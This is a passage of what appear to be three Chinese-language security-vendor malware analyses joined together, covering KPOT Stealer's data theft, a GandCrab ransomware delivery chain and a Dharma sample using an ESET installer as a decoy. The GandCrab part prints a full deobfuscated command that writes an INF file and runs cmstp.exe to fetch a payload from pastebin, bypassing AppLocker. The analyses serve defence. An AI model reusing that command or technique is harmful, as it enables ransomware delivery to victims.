1. 一个位字符串,指示要运行的命令。

2. 受害者的外网IP地址。

3. “GRABBER rules”(GRABBER规则)指定要搜索和投放的文件。

在运行任何命令之前,恶意软件会首先检查受害者是否位于任何独立国家联合体(CIS)[5]。如果属于,恶意软件将会退出,而无需进行任何进一步操作。该恶意软件检查的特定语言如下图所示:

8.png

恶意软件进行这种类型的国家检查非常常见,因为威胁行为者通常会避免对独联体国家发动攻击。

在运行命令后,恶意软件将向C&C服务器发送POST请求:

9.png

POST数据使用上面GET响应中使用的硬编码XOR密钥进行XOR加密。我们对其进行解密,发现其中包含分为不同部分的各类数据。在每个部分,都有一个起始分隔符,例如“FFFILEE:”或“SYSINFORMATION:”,并且还有一个结束分隔符,例如“_FFFILEE_”或“_SYSINFORMATION_”。其中包括:

1. 大小为62字节的结构中,包含如下内容:

(1) 进程Token是否已经提升权限

(2) 进程完整性级别

(3) Windows版本

(4) 语言环境

(5) Bot ID

2. 其他系统信息包括:

(1) Windows版本

(2) 主机GUID

(3) 外网IP

(4) CPU情况

(5) RAM内存

(6) 显示器信息

(7) 主机名称

(8) 用户名

(9) 本地时间

(10) GPU情况

(11) 键盘布局

(12) 已安装的软件

3. 命令输出

4. 投放的文件

命令和功能

上面的GET响应中,第一个组成部分是一个16为的字符串,例如“1111111111111100”。其中,每个“1”都表示相应命令功能的启用,而每个“0”则表示相应命令功能的关闭。与之相对应,在C&C面板中提供了一个可访问的配置文件,其中提供了字符串每一位与命令名称之间的映射关系(如下图所示)。安全研究人员在对早期版本进行研究的过程中,也发现了这一功能:

10.png

这些命令能够提供以下功能:

1. 从Chrome浏览器中窃取Cookie、密码和自动填写数据;

2. 从Firefox浏览器中窃取Cookie、密码和自动填写数据;

3. 从Internet Explorer中窃取Cookie;

4. 窃取各种加密货币相关的文件;

5. 窃取Skype帐户信息;

6. 窃取Telegram帐户信息;

7. 窃取Battle.net帐户信息;

8. 窃取Internet Explorer密码;

9. 获取屏幕截图;

10. 窃取各种FTP客户端帐户信息;

11. 窃取各种Windows凭据;

12. 窃取各种Jabber客户端帐户信息;

13. 删除恶意软件自身;

14. (我们无法找到引用最后一个命令位的代码)。

尽管没有特定的命令位来控制下面这些功能,但恶意软件还会查找各种VPN工具、RDP配置文件、Microsoft Outlook中的用户帐户信息,并进行窃取。

KPOT Stealer还能够搜索和删除任意文件。指定要搜索的文件的“Rules”(规则)可以在上面的GET响应中传递。每个规则都有5个组成部分,它们之间使用“__GRABBER__”进行分隔。这些组成部分包括:

1. 规则名称;

2. 文件掩码(使用逗号分隔);

3. 搜索路径;

4. 最小文件大小;

5. 最大文件大小。

分隔不同组成部分的示例规则如下:

['appdata', '*.log,*.txt,', '%appdata%', '0', '1024']

该规则被称为“appdata”,实际上是负责在“%APPDATA”中查找0-1024字节范围内的任何“.log”或“.txt”文件。

我们分析的样本缺乏持久性机制,恶意软件在其C&C服务器中查询它应该执行的命令,随后执行该命令,并将结果传递回C&C,然后退出。这种方法,在其他的信息窃取恶意软件(例如:Pony)中已经出现过,因为这降低了被反病毒软件检测到的几率。

总结

如今,越来越多的恶意软件都开始以运行多种类型应用程序的客户端桌面操作系统为目标,窃取例如Web浏览器、即时通信软件、电子邮箱、VPN、RDP、FTP、加密货币软件和游戏中的凭据或其他数据,并且这一窃取过程也逐渐趋于隐蔽,例如我们现在所分析的KPOT Stealer恶意活动。由于这些恶意工具已经逐步走向商业化,这也就意味着不具备太高技术实力的犯罪分子也能够使用这些复杂的功能,并且威胁参与者可以轻松入手,并按照自己想要的方式修改工具或策略。因此,我们建议广大用户,及时更新厂商发布的最新补丁,保证平台的更新,并提高安全意识,防范社会工程学(例如:钓鱼邮件)所带来的安全性风险。

参考

[1] https://github.com/EmergingThreats/threatresearch/blob/master/kpot_stealer/decrypt_str.py

[2] https://github.com/EmergingThreats/threatresearch/blob/master/kpot_stealer/plaintext_strings.txt

[3] https://en.wikipedia.org/wiki/MurmurHash

[4] https://twitter.com/sysopfb/status/1035177455667957760

[5] https://en.wikipedia.org/wiki/Commonwealth_of_Independent_States

[6] https://www.proofpoint.com/us/threat-insight/post/lcg-kit-sophisticated-builder-malicious-microsoft-office-documents

[7] https://www.recordedfuture.com/ar3s-prison-release/

[8] https://www.flashpoint-intel.com/blog/malware-campaign-targets-jaxx-cryptocurrency-wallet-users/

IoC

SHA-256:

KPOT Stealer(恶意软件分析)

67f8302a2fd28d15f62d6d20d748bfe350334e5353cbdef112bd1f8231b5599d

KPOT Stealer(恶意活动分析)

1f2852eeb1008b60d798f0cbcf09751e26e7980b435635bbef568402b3f82504

Intermediate downloader(恶意活动分析)

36dcd40aee6a42b8733ec3390501502824f570a23640c2c78a788805164f77ce

URL:

KPOT Stealer C&C URL(恶意软件分析)

hxxp://bendes.co[.uk/lmpUNlwDfoybeulu/gate.php

KPOT Stealer C&C URL(恶意活动分析)

hxxp://5.188.60[.]131/a6Y5Qy3cF1sOmOKQ/gate.php

一、摘要

在本文中,主要分析威胁行为者如何结合不同的逃避技术,最终确保勒索软件成功感染目标受害者。

1.1 攻击者所使用的技术

1. 将网络钓鱼电子邮件与武器化的恶意Office文档相结合,以便对目标计算机实现初始攻击。

2. 构建一个多阶段的无文件感染链,使用VBA代码、WMI对象和JavaScript来投放勒索软件。

3. 利用Living-Off-The-Land形式的二进制文件,绕过Windows AppLocker,并获取勒索软件Payload。

4. 从合法的在线文本共享服务中获取恶意Payload,在本例中为pastebin.com。

一旦攻击者成功攻击目标主机,可能会造成无法访问关键数据、组织内部大规模拒绝服务的后果,可能会直接导致公司的巨额财务损失,或者其他附带损害。此类攻击,特别是针对关键资产发起的成功攻击,其后果可能是灾难性的。

1.2 安全建议

1. 定期备份个人和公司终端上的重要信息,特别是服务器等关键终端。

2. 始终确保Windows和任何第三方软件都更新到最新版本,并且已经应用全部安全修补程序。

3. 不要支付赎金,因为这会助长勒索软件攻击者持续开展这种类型的攻击。在许多情况下,即使支付了赎金,也无法保证能成功恢复文件。此外,在某些情况下,数据可以通过临时恢复工具进行解密,但无法保证其可靠性。

4. 使用具有反勒索软件的安全产品,可以防范GandCrab及其他勒索软件的威胁。

二、背景

近期,Cybereason团队发现并阻止了GandCrab勒索软件针对位于日本的国际化公司的攻击活动。GandCrab是当前威胁领域中最流行的勒索软件之一。自2018年初,GandCrab出现以来,它一直在不断发展,并完善其传递方法以逃避检测。

Bitdefender预计,GandCrab勒索软件已经占据全球范围内勒索软件感染总数的40%。由此也可以看出,GandCrab正逐渐变得强大且有效。众所周知的是,恶意软件的作者正不断添加更为隐秘的新型传递机制以及适配性,采用迭代的方式快速更新GandCrab版本。攻击者通常不会针对明确的目标,而是在大范围“撒网”。尽管安全厂商已经针对此前大多数版本的GandCrab发布了解密工具和恢复工具,但我们此次所研究的最新版本暂时没有研究人员能成功对其解密,目前无法实现文件的恢复。

GandCrab之所以能成为如此流行的恶意软件,其原因之一是它遵守了“勒索软件即服务”(RaaS)的商业模式。这样一来,即使是没有较高技术实力的网络恶意组织都可以通过易于使用的平台来使用GandCrab基础架构,同时,GandCrab背后的恶意组织还提供全天候的在线支持。据估计,从2018年7月到10月之间,全世界约有500000名受害者感染了V4或V5版本的GandCrab。

cmd.exe派生的恶意软件进程:

1.png

三、使用韩文的网络钓鱼电子邮件分析

当用户无意打开网络钓鱼电子邮件中的恶意韩文文档时,攻击者的第一步就成功实现了。

下图为恶意文档의제.doc的截图(英文翻译:Agenda.doc):

2.png

随后,诱使用户点击“Enable Content”(启用内容),该内容将运行嵌入的宏代码。

의.doc(e4ac8fd735712e30c61cacb4e725b17a680d48ed):

3.png

3.1 恶意宏代码分析

嵌入在Office文档中的VBA代码已事先经过混淆,从而隐藏该代码的真正作用,并逃避检测。

下图为嵌入式VBA代码中的一部分:

4.png

该VBA代码使用不太常见的GotFocus事件,作为执行的触发器。

输出OLETools的olevba.py:

5.png

宏执行图表:

6.png

一旦触发了GotFocus事件,VBA代码就会解密多阶段的下载工具Payload,将会创建一个WMI对象(SWbemObjectEx),它使用经过另一层混淆后的命令,派生出cmd.exe实例。

用于运行WMI的宏代码,已经过混淆:

7.png

我们对上述代码进行了反混淆,得到代码如下:

GetObject("winmgmts:{impersonationLevel=impersonate,authenticationLevel=pktPrivacy}root\cimv2:Win32_Process")
 
SWbemObjectEx.Create("cmd /V /C set "G5=s" && !G5!et "G6=\" && !G5!et "G=e" && !G5!et "G22=i" && !G5!et "G7=A" && !G5!et "G2=N" && !G5!et "G21=d" && c!G7!ll !G5!et "G4=%!G7!PP!G21!!G7!T!G7!%" && c!G7!ll !G5!et "G75=%R!G7!!G2!!G21!OM%" && !G5!et "G03=!G4!!G6!M!G22!cro!G5!oft!G6!T!G!mplat!G!s!G6!!G75!.txt" && !G5!et "G9="^" && (For %i in ("[v!G!r!G5!ion]" "!G5!ignatur!G!=$Wi!G2!dow!G5! NT$" "[D!G!faultIn!G5!tall_Singl!G!U!G5!er]" "UnR!G!gi!G5!t!G!rOCXs=G54" "[G54]" "%11%\%G59_1%%G59_2%%G59_3%,NI,%G0_1%%G0_2%%G0_3%%G0_4%%G0_5%%G0_6%%G0_7%%G0_8%%G0_9%%G0_10%%G0_11%%G0_12%%G0_13%%G0_14%%G0_15%%G0_16%" "[!G5!tring!G5!]" "G0_1=ht" "G0_2=tp" "G0_3=:/" "G0_4=/p" "G0_5=as" "G0_6=te" "G0_7=bi" "G0_8=n." "G0_9=co" "G0_10=m/" "G0_11=ra" "G0_12=w/" "G0_13=kV" "G0_14=kC" "G0_15=4M" "G0_16=A3" "G59_2=rO" "G59_1=sC" "G59_3=bJ" ) do @echo %~i)>"!G03!" && echo !G5!erv!G22!ceNam!G!=!G9! !G9!>>!G03! && echo !G5!hortSvcN!G7!me=!G9! !G9!>>!G03! && c!G7!ll !G5!et "G19=%WI!G2!!G21!IR%" && !G5!t!G7!rt "" !G19!!G6!Sy!G5!t!G!m32!G6!cm!G5!tp.!G!x!G! /s /ns "!G03!"",,,) -> 0

上述代码在cmd.exe进程的上下文环境变量中,设置了反混淆后的字符串。

环境变量:

8.png

然后,恶意软件将写入到以下文件:

· C:\Users\xxxxx\AppData\Roaming\Microsoft\Templates\{random}.txt

写入到随机文件:

9.png

3.2 使用cmstp.exe LOLBin绕过Windows AppLocker

该恶意软件投放的文本文件,实际上是INF配置文件,它利用Squiblyoo技术的变种,来绕过Windows AppLocker,并从远程位置下载Payload并执行。这一变种是由Nick Tyrer和Oddvar Moe发现的,这两名研究人员发现cmstp.exe(Microsoft连接管理器配置文件安装程序)可以通过调用DefaultInstall_SingleUser段来实现对scrobj.dll的调用,前者可以调用UnRegisterOCXs指令。

这项技术被GandCrab活动幕后的威胁行为者使用,如下面的Cybereason平台截图所示。cmd.exe生成cmstp.exe,并将其指向已经投放的INF文件。

10.png

INF配置文件的路径:

11.png

然后,cmstp.exe连接到pastebin.com,以获取第二阶段Payload。

12.png

Cmstp.exe从pastebin.com获取第二阶段的Payload。

四、来自Pastebin的GandCrab Payload

在我们从pastebin.com获取的Payload中,是包含混淆后JavaScript代码的COM Scriptlet。该代码中包含一个嵌入式PE文件,该文件在运行时被解密,并被投放到磁盘上。

嵌入式PE文件在运行时被解密,并被投放到磁盘上:

13.png

VirusTotal上的反病毒产品,似乎未能检测出该URL和页面内容存在问题。

VirusTotal截图,该平台未检出URL和页面内容:

14.png

JavaScript代码经过了几层混淆。

15.png

该代码使用在运行时声明的匿名(anonymous)函数来进行解密、投放恶意软件、执行恶意软件的操作。

16.png

解密后的勒索软件Payload,将被投放到以下位置:

C:\users\soc\appdata\roaming\microsoft\{随机}.exe

17.png

下面的进程树展示了cmstp.exe投放勒索软件的过程,随后该过程被Cybereason检测并阻止。

18.png

在未部署Cybereason反勒索软件解决方案的虚拟机上,运行勒索软件Payload,根据弹出的勒索提示,显示出这是5.2版本的GandCrab。

19.png

五、总结

勒索软件并不是一种新的攻击形式,但随着GandCrab的不断升级,已经将其转变为更具动态性、更难解决的威胁。随着勒索软件传播方法的动态变化,再加上GandCrab勒索软件的不断发展,使得防御者对于安全工具的需求也不断增加,这些工具可以检测和阻止勒索软件行为,并且能够突破勒索软件作者所使用的逃避技术和多层混淆。

GandCrab之所以受到恶意组织的“重用”,其中原因之一是在于攻击者可以具体决定赎金的支付方式和支付金额,因此他们可以实现最大化的收益。此外,该系列勒索软件还遵循了RaaS模式,允许任何人(不仅仅是具有技术实力的攻击者)使用勒索软件来攻击潜在受害者。

Cybereason已经与pastebin.com联系,并提交了官方说明,建议删除包含恶意Payload的页面。目前,包含恶意代码的页面已被删除。

六、IoC

Word文档:E4AC8FD735712E30C61CACB4E725B17A680D48ED

Pastebin COM Scriptlet:2D9AC49FD49D07C36C56241E0B641398B50194A6

GandCrab二进制文件:2768A5EEA5F50CB0D91AEB1270ACD6BFCA54F270

http://pastebin[.]com/raw/kVkC4MA3

概述

Dharma勒索软件自2016年以来一直存在,该勒索软件持续瞄准全世界范围内的用户和组织,并已经成功实现了大量感染。在2018年11月,勒索软件感染了位于德克萨斯的一家医院,对医院主机中大量存储的记录进行加密,该事件也随即成为一起知名的勒索病毒攻击事件。但幸运的是,医院没有支付赎金,并且成功恢复了所有被破坏的数据。Trend Micro近期使用一种新型技术,发现了新的Dharma勒索软件样本。该样本使用软件安装来分散用户的注意力,从而帮助隐藏恶意活动。

Dharma勒索软件攻击者滥用反病毒工具

我们对Dharma勒索软件的新样本进行了分析,分析显示,该恶意软件仍然通过恶意邮件实现分发。具体而言,他们使用的是典型的恶意邮件模式,该邮件会诱导用户下载文件,一旦用户点击邮件中附带的下载链接,就会在获取文件之前提示他们输入密码(在电子邮件中提供)。

Dharma勒索软件感染链:

1.jpg

下载的文件是名为Defender.exe的自解压压缩包,在运行该自解压文件后,会投放恶意文件taskhost.exe以及重命名为Defender_nt32_enu.exe的旧版本ESET AV Remover(反病毒软件)的安装程序。经过我们的分析,发现taskhost.exe属于Dharma勒索软件,该恶意软件被检测为RANSOM.WIN32.DHARMA.THDAAAI。

为传播Dharma勒索软件所发送的恶意邮件:

2.png

运行自解压的压缩包(Defender.exe):

3.png

其中,旧版本的ESET AV Remover安装程序的初始扫描未经修改。因此,勒索软件在加密受害者设备上的文件的过程中,会利用该反病毒软件来转移用户的注意力。当自解压压缩包运行后,Dharma就开始在后台加密文件,并开始ESET AV Remover的安装。用户在屏幕上将会看到ESET GUI,这样一来更不容易察觉潜在的恶意活动。

软件安装过程进一步降低了用户察觉勒索软件活动的可能性:

4.jpg

软件安装与恶意软件运行是两个不同的实例:

5.png

AV Remover是一个可以使用的工具,用户在运行该工具后,将会完成界面非常熟悉的安装程序。但是,即使安装程序没有启动,勒索软件仍然会加密文件。恶意软件与软件安装是在两个不同的实例上运行,因此二者在是否成功运行方面没有实际关联。

ESET安装程序文件具有一个有效的数字签名,这也有助于我们后续的监测:

6.png

回顾历史,网络犯罪分析也曾经滥用过真实的工具。但最近,借助安装程序弹出的合法界面来转移用户的注意力,是网络犯罪分子正在尝试的另一种方法。这个新版本的恶意软件,旨在欺骗用户,并允许勒索软件在后台秘密操作。由于恶意软件作者持续采用分层逃避检测的策略和一些高级的恶意技术,因此用户还需要使用更强大、更智能的安全解决方案来保护其资产。

ESET的反应

ESET在本文发布之前,获悉了此项研究结果,并发表了如下回复:

本篇文章介绍了将恶意软件与合法应用程序捆绑在一起的做法,这一方法此前也被大量使用过。在Trend Micro本次发现的案例中,使用了官方的、未经修改的ESET AV Remover。但是,任何其他应用程序都有可能被恶意软件作者所利用。这个应用程序被用作诱饵应用程序,其主要目的是分散用户的注意力。ESET的威胁检测工程师已经发现,一些相关的勒索软件样本,与合法文件或被篡改/解密/破解的文件共同压缩在同一个自解压的压缩包之中。

在本次案例中,勒索软件会在我们的Remover应用程序运行后立即执行,但是Remover包含一些提示,需要等待用户进行交互,因此在勒索软件完全执行之前,没有机会移除任何反病毒解决方案。

如何抵御勒索软件

目前,人们已经越来越多地意识到勒索软件的危害,并采用安全厂商为组织和用户提供的增强型安全解决方案,这些都会导致勒索软件感染数量的持续下降。然而,正如新的Dharma样本所证明的那样,许多恶意行为者仍在尝试升级旧威胁,并使用新的技术。勒索软件仍然是一种代价高昂且具有多样化的威胁。在本月的早些时候,一个勒索软件家族被发现针对易受攻击的Samba服务器发动攻击。这种特定的勒索软件首先针对受害者网络中附加的存储设备发起攻击,然后才发展为针对其他设备。

用户和组织应该采用良好的网络安全防护方案,从而抵御此类威胁。我们建议用户和组织遵循以下安全建议:

1. 使用安全的电子邮件网关,阻断垃圾邮件或恶意邮件的威胁,避免打开可疑的电子邮件。

2. 定期备份重要文件。

3. 保证系统和应用程序的更新,针对较旧版本或无法修复的操作系统或软件,使用虚拟补丁。

4. 实施权限最小化原则,对攻击者可能滥用的系统管理工具进行安全加固,实施网络划分和数据分类,以最大限度减少核心数据和敏感数据的进一步暴露,禁用可被攻击者作为突破口的第三方组件或过时组件。

5. 实施深度防御,应用程序控制或行为检测等额外的安全机制,有助于阻止攻击者对系统的异常修改或异常文件执行。

6. 在组织内部培养员工的安全意识。

IoC

Defender.exe

SHA-256:a5de5b0e2a1da6e958955c189db72467ec0f8daaa9f9f5ccc44e71c6c5d8add4

检测:Ransom.Win32.DHARMA.THDAAAI

taskhost.exe1         

SHA-256:703b57adaf02eef74097e5de9d0bbd06fc2c29ea7f92c90d54a0b9a01172babe 

检测:Ransom.Win32.DHARMA.THDAAAI

Defender_nt32_enu.exe1

SHA-256:0d7e4d980ae644438ee17c1ea61ac076983ec3efb3cc9d3b588d2d92e52d7c83

检测:(合法文件)ESET AV remover    

packager.dll

SHA-256:083b92a07beebbd9c7d089648b1949f78929410464578a36713033bbd3a8ecea

检测:(合法文件)                  

panmap.dll  

SHA-256:9ada26a385e8b10f76b7c4f05d591b282bd42e7f429c7bbe7ef0bb0d6499d729

检测:(合法文件)        

sspisrv.dll    

SHA-256:f195983cdf8256f1d1425cc7683f9bf5c624928339ddb4e3da96fdae2657813d

检测:合法文件                        

sstpsvc.dll   

SHA-256:39d3254383e3f49fd3e2dff8212f4b5744d8d5e0a6bb320516c5ee525ad211eb

检测:合法文件